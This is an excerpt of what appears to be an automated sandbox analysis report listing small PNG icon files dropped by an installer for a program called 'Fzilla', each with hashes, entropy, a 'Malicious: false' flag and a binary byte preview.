SHA-512:	6466013314A7BC4A798C57ADAA68F0824E83B187F97070DDC75528FA206BCB878AEE80FF24895A63F0DF2A2E8485856F4772F33542A9CE89CF6D12936DF1C81A
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDAT(...A..a....._.F..i.7`Q.+..{..8...H.X8..B..3............Y.....O.w....]..R..z.?.3(0.z......i......6...(0..... 4....B.. 4..a..(....[E..hA.......+(... ...K+k..............x(3.D"..<....]...l... V..}g..........!.6~l....X....X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-V8L5B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	698
Entropy (8bit):	7.611008810843154
Encrypted:	false
SSDEEP:	12:6v/79dQILaNNH/UwZr58wulaYXYy986qnbT0XXZ+QLJIZAwr3ugu1ZFc:sdQ7NNH/jr5VOHYcJqnbGXZ+WGZp3nue
MD5:	703552F782A5717CE26C9DAA1D515C86
SHA1:	1A306CFB5C147AC96C8353DC17BB95AF0BD9996F
SHA-256:	49FC0B57862ADFEF288D154DCDDC24564B8E588FD8E3AD93549FADCA75851243
SHA-512:	3017CADBB7BFAEB293AA1B2874A59A8981D95077B19A518D486F1C1853FAC319B12813F62AD5709EE4C650BC46D5F89C17DAE3925C746A42BF4B2D31E71D39A1
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?..{.6.Z.3.M.fb..9...u...Tx...Nh.0U..H.."..........G...w./.j......F.1..u.".m.....c.I.o..n.D.w\qb...shX..K..(.(cQ..h.'&'S.4Y+...d.......p.......1....c..l...J.Q.R.Lf..K.L@N..}.~..._.w..tn?#....TZ.QHc.Z..B.P....Oe...X[^...?.go.....x..<8=.-.s...,.Tb.LB...N......-.....i.H;v.....&.B .D(.Z".\.Y.1E.O....6.[...._..!.......,.%=.{rfB".}Vt..r..u.y...w.".$.D.....G...,m........H.1..&....V...x4....i.1.@.i~r....L....8.:.._)5.E\,H..pY...<.Q....@....L..B......a>>.....g#.....].H....9a..#..9.(M.5....2.OM4.%(."!...5...5s...13.M.7._.~..x...^x..sso......lPf..RJ"d.....DT.+.o...}..X......0.Z...(.P.....8.4.g.eZ.t......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\is-VGEDS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.658494339318406
Encrypted:	false
SSDEEP:	12:6v/74RmujyOWdQlsUOMYbnKB+rjOhruxQbJ1pV9cFfupqrFXFgKvy61WB8cNZ7gg:5Rm1V1y6Khruxe/pWWgFo6jcNhZl
MD5:	76759F68EA832C7842256D82F8D309CB
SHA1:	C650649D817ACB2E601EC7BFC487984DF8442485
SHA-256:	A37FA03767B9E4B35371A9C9879E5358E2257EBDD2A1C93A28043A8E3E2DE6C7
SHA-512:	70E77741E609B4AA50A7C34E7EAFDBC2FD25F81844728D6B9A3028AFE26359500DF2A35346AEB893164B53AE9CE23A78B8A21FC4271901D93FE0F328F1225654
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....cw.F.....c....mW]..EmcU..zl.g..E.vO...y......q....f..,./.[..(...........w.qG..h.iZ.....w...T...KR..E.~.)D.^....;.K...w..:...{..v..x<~.C\|..W..?.0.c.S.d......(.].a...X.p.`...6........QU.4.....Z(.2 x.^...4).q.\H$...@......)j.`..X..~..`..a.{. ..;..n..f.....`.H$.J..:.Sg..........4...).o..T.@ ...t[e.R.J(.....~[.M..)`Z.[:......F.oIyaI?..L]..Z..g.}fP.j...".L&...)?....._.~..M...K...[..)@...h...N..B...Xj.....&./....d.y..X.d.K.u1y.....s....:........A.q.r..s..d\|....+m5.J...c..\|...>..w.......G+..\.........g...../X.j.tIw_..9>\|.vx.=;[TZM.T....dl...k@X.E..l.C.x..>v..v..0i$....'N.^l........EF.=.o..;......=..../j..wf.Yi.rq..s.DV.i.>z..?...{S.Z......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	677
Entropy (8bit):	7.563024445755158
Encrypted:	false
SSDEEP:	12:6v/7b/BCmJXLGr8Sp7UI+kPFgBSnMen5/UFFkDfBvAnI8WefLnzWzr:e/Bx8l7UIhNlMehUC1ABUr
MD5:	38F2F93CA65081734AAB66870902580F
SHA1:	51AD2168046A66A4CDB060F6CC9D0E4EB47777B6
SHA-256:	F84C85D94F6A3D778ACF2FAF3480DE4501114E4D0C68A5F38429E70F8CEE5C13
SHA-512:	7234BBB704D3B5F23FE64DC4B864ADFE3E00E13966A1DE40C39320AAB21F210AD172DBCF57D7D7E81F590FF6DB3AAC32FFD186D25ED353B7AA2BF4AAE6B8D6BB
Malicious:	false
Preview:	.PNG........IHDR................a...lIDATx....t.`....m.Nm.m.Am.m.~..[m./...&OQk..r.Ja...K..l.f.[.k......oS.qr<2.%/.7...B.3G...1.G..k.t.$........u..QY..E..P........R..l9>..l_..O.P...`.........?....R.K!....r.@w....\|Y`.mG.{k"...c......@.E.s...c....6..4.l..#A....>._........Xd...%.}X.p..T..s.v.5X..g...7._.....qM....M.:.k....).R....8.wE...w.'O....3...c<D.(V.oC...,..._.......S.:..=j...c.d.[[...~.q....@....... ..9...>\|...c....N)r......>.T/.>.....B.O....}p.=.6....Sg..7...TN......g.....\|......H..P.......~......>..'..j..L._m!....v..\|.k06....4.A..<]u!.......z%...,\.8;.....4.......E...s.."....)..t.[..tz..o...o..{.....[*..PK.73..vu..hv(k....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	693
Entropy (8bit):	7.569315771278341
Encrypted:	false
SSDEEP:	12:6v/7l+0iFvW79kiuORSG8jUzv0GbbT868kaCd5KbM+6GbNwsusuTs8Vbpg70jDql:u+JFvW7VfRSJpGbM68kJT+TxwauTs8Ql
MD5:	D8919F4887B7EF96FE6AB720BFB07916
SHA1:	98E80001E84CA27B5982ACBEFCBB12BBC0F77A37
SHA-256:	468BBFB900BF78DB075230A212B8A9F996A410138CB55D7F0FD1BD89B99AF8EE
SHA-512:	37B6C546FC7CF53FA46799CD6427E50027C0F056817791D36048F8FF9D861081220741CCBE572C0D1E1C649D2290DAF5490C61E78F4C83DD3656B43121F301B8
Malicious:	false
Preview:	.PNG........IHDR................a...\|IDATx.b...?....Q....RRR.===}...n.D..c....z.\....7o.?{....o._.~..xx.tl.01 ..f......."...;sss[....\.r.eKKK...Y*..@1...=..;........`.:. WL.<.4333+N/...O.u.........^>.N'....b...,,l.8..(......(.fy{...>....:..Ml......=h......3.....(./.&r............X....:.c....rxs...2.=..Mi{.m..n...C;&.~l...3XKO.d.R..(.d.R..)....L.GU...G~8.P.7..j55..3~#.>J..i.. k..C.C.&.,..&%c........{.Z..O.....i. $.A....]..]V..........Z.;....@.)4.3..A..$..(..W.z....T.+Rw@.."......,.......D.% 9\|..o.... ....X.%l.\|...F.FC{....zH.KiRp.....,.).[..<..c...........>h>...G........(e&(&RT..(.e....)..o.SV...e.0.y.:.bt.c.REK....s...,...IDR..Ge.SB..g.K.:.~.O...V1......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	739
Entropy (8bit):	7.658494339318406
Encrypted:	false
SSDEEP:	12:6v/74RmujyOWdQlsUOMYbnKB+rjOhruxQbJ1pV9cFfupqrFXFgKvy61WB8cNZ7gg:5Rm1V1y6Khruxe/pWWgFo6jcNhZl
MD5:	76759F68EA832C7842256D82F8D309CB
SHA1:	C650649D817ACB2E601EC7BFC487984DF8442485
SHA-256:	A37FA03767B9E4B35371A9C9879E5358E2257EBDD2A1C93A28043A8E3E2DE6C7
SHA-512:	70E77741E609B4AA50A7C34E7EAFDBC2FD25F81844728D6B9A3028AFE26359500DF2A35346AEB893164B53AE9CE23A78B8A21FC4271901D93FE0F328F1225654
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.....cw.F.....c....mW]..EmcU..zl.g..E.vO...y......q....f..,./.[..(...........w.qG..h.iZ.....w...T...KR..E.~.)D.^....;.K...w..:...{..v..x<~.C\|..W..?.0.c.S.d......(.].a...X.p.`...6........QU.4.....Z(.2 x.^...4).q.\H$...@......)j.`..X..~..`..a.{. ..;..n..f.....`.H$.J..:.Sg..........4...).o..T.@ ...t[e.R.J(.....~[.M..)`Z.[:......F.oIyaI?..L]..Z..g.}fP.j...".L&...)?....._.~..M...K...[..)@...h...N..B...Xj.....&./....d.y..X.d.K.u1y.....s....:........A.q.r..s..d\|....+m5.J...c..\|...>..w.......G+..\.........g...../X.j.tIw_..9>\|.vx.=;[TZM.T....dl...k@X.E..l.C.x..>v..v..0i$....'N.^l........EF.=.o..;......=..../j..wf.Yi.rq..s.DV.i.>z..?...{S.Z......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	964
Entropy (8bit):	7.737922853414479
Encrypted:	false
SSDEEP:	24:7xLpWwCE/o7E+TBIR1uJv36uMpA6LaFL7t8kR5XzGk+9:7xLp5j/o7vTBIR1clMpA6LaFLKE5XzG9
MD5:	129B2F5BB4E320E9CF884A69C70D17B6
SHA1:	3C8C349692962EBEA63FFB9A246305B64D835C24
SHA-256:	DD81A69D735DD824339B062300BC18C56F9E4AA3B3074901671AB77DBDE228C7
SHA-512:	DF38A2B29C5EDDCB967530D4465EFC70C199F8DF908C36B72DF8701A9714A8B9569AE63ABC4766C8653AACEF99276D2F02D85708655E8A931DBF60AA1ACEEB67
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.].S..:...I3....m...m.\.m......m......}.\|......[.........29...\|.....+G....<:67l.[..G.n.?.h..!.,.....~.b......w.......j.8...{.:....?n.[..5.Tlh.,.n..DQ...S...Q....`..V..&.m5.OV..s.pTey-...3..\|.J...\...R.......a....D......"q..'..\|...-........W.V+.p...7}.{.l...n..]6.z....r{qD...N.C...5............G.....1..h...E..a~ok2.vvfz.e...B!.@.`B..u3.,X...w:=D0_.....K..sdY?'=2.....6....?..^o...8,..{....1.@:.%...8..{I....(.....s.}.....`.4....j..F[S,.....N....tI.$... S.Y.(...+!3.w...E.....9.O...%^.....h.P.I.@Q.......~..V=..?...a.;.9...-..68.y.............^x..g~{..?~.....p8....\|.'q..+1.r...~Gos;....N...`.....(................p..Cc.....b..;.j..>.....f..?.H.h.........G...^6.....B.......d....(a.%..M.y`....m.....\|.R.h.t]/E!h...\|.!\q\|..Qf.J.k.....$.?..7.L.9~...p...][..._...!"+...4"3/{.....m......!.u.(.dN..:..3.,.E...;..3-.iy.(...T.j....y..n<~.8..G.}.B.9\.&!....../..k<u....Qc2t....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	860
Entropy (8bit):	7.68841620566773
Encrypted:	false
SSDEEP:	12:6v/7M3aWhIP89TDTtcZ1AGLC8nJmCqD7I5UwTni9R/rcvos/jB32ty/F07uGC:vaeIWT9cXLdJs7IFi9lMLLBPy/C
MD5:	C3B1C6B743EE75D59FDF2B3520A51A99
SHA1:	AFA37020CB99085A97AAC57C072F01BA5077BA47
SHA-256:	6B671369C65F8819629A7A9516BF61B797D14A5523BF13781E6D7BDEA83EA542
SHA-512:	411B2E7CD30981935077CD67ED2B301022F87E360D2621B03F95E043C98689B6141F8ACD5594BBFB68559E2AE89A93901C782C5CD943D4D4F85A3F447F97BB99
Malicious:	false
Preview:	.PNG........IHDR................a...#IDATx.b.0g......?......;..o2....Fm.=...m.m....o.....G....\...D......d.......{.........L,ZP4....^E....#..HV..?.:$.6.....Z...\J.(....P..Z$.,..i"A.>.P.:`Z...O....L7l.c"._......=.O...n.,.......#....M0C.F..Y.......L.E..B..7..}....@.O.u.T@g..q.P(`..kw7..8.w.@.&.[.'...X.....g.{c..].7n..dY6.~.7....?....\....{.q...3.\|Z%-......<........u.;..X..G........\|...._z.../..Om2...!.........b.....1.s..M..a..e9....p....P.l..r<..c...J...x..0.,A.;e....2.G...T......0./I.I...H/.w._..e$. ....K.p../<..c?.47.#..D....[......3...'..q.L...".c.J..]....w....1.t....<....W.../KE..dl..%....x.{.A.9@.....N.rU2..I%..:......6.t....M.H....=.^.^^D....B.UU...^..E.H((...,..........8P.....c..+q. z...o..:...../.H...`.L...u..UW...`...d.m.O./<.........$...B0..{DO.'...Lv...j.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	605
Entropy (8bit):	7.519188989318765
Encrypted:	false
SSDEEP:	12:6v/7kkOeUtWUo/z107uJ0gU9T0oU1Q7ZK8aVQTWnydD3J/UJ/8c:9kmtBoJg6WooUtRSAUJ28c
MD5:	3EFD763DBD5243A9292436382AD8E4A4
SHA1:	7483E7CCBAB28F5FA2139D1385EAB5217A9565F7
SHA-256:	592646A30752C8929AB69DA90539E9DB76394957E15401F759302299FB1CE353
SHA-512:	FC2D2926EB8C2B3331E92898195ACF033C0A7BE31135258864A24CDA2E6F3D1B0EB7AA4704726A6DCB44C953AAAEFDF678F9445E34A4898328805874CE1AF57E
Malicious:	false
Preview:	.PNG........IHDR................a...$IDATx....t.@...m.P.m.m.m...msb;9...P..ip....oY..[.:.[....v.X.s..^....?.m..9o........:.......+VK8l2..NG.w.X..-..s..?.".4..}.x............r..oPS..U-[...e.(6..i6.x.x.G.J.5Y.....l....eg+.q..... .P..uZK.3..Q...X..R(=oG.t........t.....O...............X\|......~...[-//..z...)Vg.r..-Z.9.x.n>......{u?6d.........M9.44{D;.UJ..#.lo.e..C6.#.-...=.y..ED.....o..@....,.].AL..n.......@a. ..Sg..9.^...$# RO&-.#&.a.Ma.......2.u.~u...N.\sk..T...,6.$...!dB.../....7.....t...wn...~.5.M....c .........x...\......G.e-..)..[..(.3.{.".."y..........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\refresh.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	718
Entropy (8bit):	7.665646335332114
Encrypted:	false
SSDEEP:	12:6v/7JrwwBAvtdR3+NEj5FBPcEZJO+dXmotmZuym24/6esjbbWJqFnIiF:0YvTlFVcEGuX7WuyI6BfbccVF
MD5:	9C7E5A33EA3351DF96CA6F802EA8DA1B
SHA1:	403CF3C1A1D50CB9152A15C5636D05C4EFBE52FC
SHA-256:	FEF8794F7FE34204F21CB25F0CFC78FBD2201D6A05A4E592150581A0D98DA57C
SHA-512:	82DF23B71CBAD87751002ACB5B071E9DAEA02B295D8DA9E9C28621A14F113CFAA0731287FC9461F0C6F18D0A16F21B0E87B5BF61C379DB53CD84E98B13B89484
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C` .....m.m.Fm.m.m.m.....->x......c.'..R.......{+....;.zk...L`.C....:?tRE..Fd.~.M.v....s.R..JX.n...4.!..._B...hR(..un.a!{,..SH.J.J....W.~.H+..-...a!...7.Q.p..A.B.4..D..whQ,...d....d.\|.....E.sw.D.<.~.jc%....2Y...~....Y_...t..;...F.{..H.+.....u-`.q...]..<L.Z..Q....R#:.=.8.9....+.1..A."..0.@~y\....dG...I.........\....u.IB...t9~.......o.k.A..U....v%.S.u.....,...9.\B..E.A....U.0f....Ag.c..C...kMa%L....}.=Z.Q.....q).!.`.....8b. s.....y...s..`..3X..j...^{s.2I1.......`.............s......=....H.y..^..?..n.n5...Ka6K...J;")c.!w...K..B.OP...m+.Q...3...0.e.p.....x....g..4.....g.2.......\|vvvP~P.b&\|..C.....P..(..X....5....2..b......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\remotetreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.522590761505521
Encrypted:	false
SSDEEP:	12:6v/7Mk8t1XHqSPL8TgDc1TBuFRlVIJa81GnLOoMQ4ViDm8Vxg2JPNBfZN:1k81XHpzuTmVIJTGn6oMjifVO2nBhN
MD5:	86282037191DAADD1950E2E349C9DB03
SHA1:	E7AA516070B0775C97FBFE7752DA8168550784D5
SHA-256:	DC206A42720B949333CCFA444CB79BA21AC897687927BD52643B4F1A7FDA49D6
SHA-512:	4283E113631282177EEF2888648233E9538F3FB8DE290C513BDD8BEBFB6658A0A836CB4A12C59EB6CFA3907AE21379E72B1D9E8C236B5C535C6F40E65E8C4D24
Malicious:	false
Preview:	.PNG........IHDR................a...<IDATx....`.....m.g..m.m+..m.m..V.7B.`kGz.+..</.A..W(.w..}j..a......tA7...cA..$..........."..../..Y J......M..;...$..H=T#e3.......x.:..r..W2.p<..t.)..A...vt....#p.....g..+.i....n...S..h."A....T.]W.=.pje......Y2...?..K.<{.......@.c..7...!6.......>...~.xz.1.y...E......b..i.......y(...........k.S.{.1.U..`......:*e..7 .P...k.h.w..1.....g\|..{...hf....psq.=..\|..Y..}...=;5,.....-.?89k.8.Xk...p<..<t.>.W."..3...1.....h@.;..{...6.+.i...$F.Z.,....BL..XVz........E......r.&.WH....:j./V2.s...)...).c..'..c.hf..JApsu......G.....M[..G;u.?.e?.....\|.?<.../O#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\server.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	491
Entropy (8bit):	7.421784230916349
Encrypted:	false
SSDEEP:	12:6v/7oO1chcpSuh/a5J40CT2dPFZvl2PvI:o2hiSIa/40FPHAXI
MD5:	1657F37324D96E8DDAFE17C0470E4FA1
SHA1:	AF4F0A7AF9EEBFAC3F21305C081AA1B81D425974
SHA-256:	2B13795B80F9092F3FFAE6E8ED409E05036670463F1062F220F352BFB2DAA2F7
SHA-512:	106C30FB8695A068F39A3B9F5BC98E6F977EADF677157D848CB0E63F5F35082AAF7DD8F3052CAD8264C17EE1EF02F30F1B5C5C2BCEF5390E7A6D538A80437D77
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...%.TQ...?.-.pM8.d.&:4$....w.....e...f.w.....F.2".....L..7.!I.P..k..?..\|..B..p...q.m..3f.Z.v.../_N.<y...~/.d2....m.Z.5Mk.......c....;A...l.B^.b..JE.,.H.......`.4.H..G........0.O$I....8@.(......q.....b... ."Ng.:...<.Q.Fu....,..1.F......7..j...\.7..........I<"..?OP...P.4..;..y~..z.D.e.....{.....n..S.m.(../..9f2..c.D. .b...G\.t..0.wM.22.k...4k...s.u.*...~..KAooo-.......x..2...+$=}}.^..I..w..O...Kp.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\showhidden.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	733
Entropy (8bit):	7.668342390507137
Encrypted:	false
SSDEEP:	12:6v/7gw2OYXAhDoi2YTPoZUJQm4qZmJYo/OkjHysnlisPucfIRG67avW:jOfh05YTPoZUr4qZ2YKn3EcwRiW
MD5:	A48C634409DE41185AC61958E307FFBC
SHA1:	9E3C1448731809DEDDCB4DC6D91D1265077618D2
SHA-256:	B28F9A3FFEB034D901FCB49FCB045F2E5C11ED45D6E871287924DDD6B18A08BB
SHA-512:	802CA7355A24879446E883AD06AE4FA359041C7E0F63FB66E42C528D83622BED6CC387C7D372186A1AA1C826E07EE85B3FC20722662FAFF4C4AAA94840958B7E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b...?.%..D033...[.K.....s...........' .......NPP..D......`nhh`.~.^...s#.]]......~.fcm.*""Zjkk. ""R....@.A.O.<...N.0.$Q..^..:.m.sVx...m.m....p.M./=+.J~8f.'.{..i.c.w.9.]...G.& ..!.@7.\|.yH+T...4v..EU...u.K......V.}....4 .8.y".l.+..w....m9..mS.....?........4...[w..q8...U...9...W.........Q...bV.S...j8..Yg..+..".+..V.7.cx...?...J".....AKIR.R.......q......c.vf.u..Ft.i..D...,.e..>...)....yg..k..aGW......~...@".E......[.B.T..].pm.b...A.[.=.'n.06........X.t..ob.:.k.@...k.{..ods.e........\|...95.qZr?.7.c.q\}..$.'.K.e....%.H......H.M.U......Q.nh.;.._`.J.J......>L.^r..<r...0......f..iJ..A\.\...be......r..X@.H.....g.'.. .DA..1........+.J....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\sitemanager.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	896
Entropy (8bit):	7.686595369616501
Encrypted:	false
SSDEEP:	24:7YdZZoxMuHbBvCV36WCelfoTCMuLQaDFU3CcS/2pC/vUJpOKDJ:oopCUjQfo2MuLQ6S3O/2pTTj
MD5:	E2AC4B4B68D1C9F8FE2B02AB77B9DBB1
SHA1:	5CE35ED2BDBA01A4B2ED07034D397FC12ECC2E41
SHA-256:	B248A3D708596ADCEE5D6AFCDAB1205034A8F04E51682E5CE08C02301A5DCB06
SHA-512:	01D6DB5BC612627274ED92C95A53B325F7935A508F06823FFEA08C3361D1B23ACBFEA3C3939D6A6565B6554F4CA0F54CEE6CEF1ED50FF6CEE16F46F797DE08AF
Malicious:	false
Preview:	.PNG........IHDR................a...GIDATx.ER...X.>.I..=\|,.m.Qw.l.m.~.wT.m.6?>cT..=.....G...9....I.y.s.N.x........@yy...v.....8s..e.......K&...>.D.g^..r.....1".E....'.........1+....\|...-.%55...?..^.P<.V..6666...G....>6.."...@........r...zB......g.}Fp.X..655.D",M.....r........4.M...+Fl..r.6.5S.U,....B..8.q0.........PUU.......EL....x. ...@..d.p..E.G..(.P,a.x. F.......:..T...I...b.0.u..mMEE%}..].y..s../......(.f....W.N.D..P.....QXX.E..z..9s..~_...........h..H..y.......WP@F....c.......9.H....]\F...?........s........2li.).oX6....CG..>.......=.....n88w.._...?...>0.h.R<.6.2r..)..../=8nu..='+....2....E.E.<:.Sl..m...Rq..SK;........L..N..i.%`..~..p.C....B,.....b........:......3J3....+......3."^b..~5]1u.A.....j.....`.\...2...R..w.....`/y.\|.1=....b.0}.3}.f0$..g..8....vA.r....+.OH".j..kN.......8.....t.u.j.#T..m..lO^cM.n0.4L"........!v.\.`.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\speedlimits.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.709017521968257
Encrypted:	false
SSDEEP:	24:7sVNsS8EpQ8OAvRFunlcLbf1dIqKOMKNT:7MsS8AQ8OURsmLHWOMW
MD5:	E9F84FBE853DD86D21EC410C10BB00F9
SHA1:	547095B373672D69E7141F5C51FB36C881A6ADED
SHA-256:	5F79E3B68AD372C7891743A6A9F4C5F260462034181ECA9DA74C7B7BCD2F2A48
SHA-512:	AA87B63AEEF97E8D86E1BB766B00A4070214FA85469BFE04EFCFF6C11B4026209E7C5CDD34AD3EB4EA5ECC4F1093958A18D9F119B1584945BA3708ECEC904447
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.t...$g..kfm.m.m.m.....g...3..7...6...6.n.20.?.{SH.fXh.h...l1...\...2e...ry2.f...6.).h...G.V.zb}..WX.....a.U.o/.0...#......O...:..6eJ..7.4lx....l.:y:k.<.2Dnu..j7..%2>d....i..x....&;.;\.tG<...r..{........b..y.v....Y..S.....8.&....U..._9......K.J..J4....$k-.......i....w.Cf..@..I.:u.;.}...v......?z..8....J.....d68H...0......................;.8p.....M...m.zv.....4...M&...../^...U.X$B..%)T...w.f.QT(_.#...].=..t.H...B."bJ:..pB.Y.7g.....3g.....\|8..^i....@..Eo6."qO..x....`......0k.X.V..I..-......>..........8...\....$\|.9r."..>$_.\|..7.A......+u43..ZE.H..=.....y.....z."/_..D...?.....r.....P~k.a}a..0f..o_..#.....~.n.._\|A.....C. ... -......m2...:UE.-*......[`z<\....& .P3;,..77A...1.] ..r..+..(.8.........cN.......&.....dO.o.!.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\synchronize.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.703109879983936
Encrypted:	false
SSDEEP:	12:6v/7Uk7w+QBeMN3lyaovwWxiOAmaEa/FMgAEkU5AgAwGcdgDzYKUdm3yKUH9Yz:NksBeglcAPEcFMukUykg3DUdvpH9Yz
MD5:	B09F75F68B10E5E6847E1DF05571370F
SHA1:	74B72630E93C2CD334C065D7CF74D3CD4812550D
SHA-256:	F01C4325DE446566586A036A2EC1E4DA839582E81BE0985B40D51F036D90D2BD
SHA-512:	34BC9CDA2BAF3F54729F7BB9BDC7612DCDD4F23D67C1A69805C025E2801B41869E4D72C4CD8F9F34E3012E00F11F61A4A587080867AFD0D9BFF2A01E7131DE1E
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C..G...wf...k.m.6N.q.m.m.v.l2.......Z....v..e.%.....r......T..0.T.a....6^u.........w.....n.D.X.u]>.t.5.......1........m...0....7"...p..&_u....x.....+..b...V.@. .}.}_.'.L.$X ........Q...9....._.B.=?H.U....O.UF...L....@.._$.L....d.V\|.1M...w..x...B..fL.L.@..&.8G.@.d..z.c&<.........n\z....3.X.:.l.w^..'.'.......?.\......%..&}.zt..[..;.PK...\|..-...q....~....u.K{{......m}:...[....x.`..&..j...C.X...L...]p.<...zm...D<z....{.=..W>{...r...F'V.."\.....{.3.\|~8b.j..xq.#...^........4S..h.. 2%.q........e./....+.C...Q.d....3..8.d.6 ....}...\..`fb....$....R......1I........q.d._...\.....!....wW..y.B..jps.q.t...z.....]wZ.fWv.E>...qlKJ#...*.R\|.._\....5La?..a-.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\upload.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	449
Entropy (8bit):	7.292578625144907
Encrypted:	false
SSDEEP:	12:6v/7pidLbviJsiq0v4ObeHojs2gDDQHG/1:Jd/rF0wObmojsZPcG9
MD5:	B261F25FF67480005CE97D63FA894E94
SHA1:	95C2337552CBA0A0DC7D9D706E9C85D39A335A80
SHA-256:	0B85A6417D6455687C2812381CB8F0B611C2C0ABDBF053D37AEDF8BF41F83CD4
SHA-512:	7FA215DB6892446A94F4EACD142F3537EEBB1717454D600AA1BD7EFB23F1C955EBAA7F9B19048A90C63FCF1CE3A75604BE9B5E83051D8B94198C88F9B506FB06
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c.......wp.f .<.....r..'11.d..c..O..Z...MII..4?/)1.v...UU../^...EDk~QT..i..].w...,+..C....[Z~_...'.w3fD..z......w..._....KM..}'.C...X.j~;}..={..C..%..0.........k..yx...bE.=......f.53..GW...l.I .u....H3...r....0W4..lF..x...q...WXX@.l 9.\.....{vv W....@.!.BC.@..233(,.l..f............2..t.00p.....!..cQ..w.....6......15].AR..>V....6...DJH..m.......t...d...D.......$?H....F...#....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\lone\16x16\uploadadd.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.468573641875107
Encrypted:	false
SSDEEP:	12:6v/7pRtyK6b1QgxG6NTrpp+/O+Tf7GC457v6dOklUg6bQy7:MYbbG0nHY/TTgSxrmt7
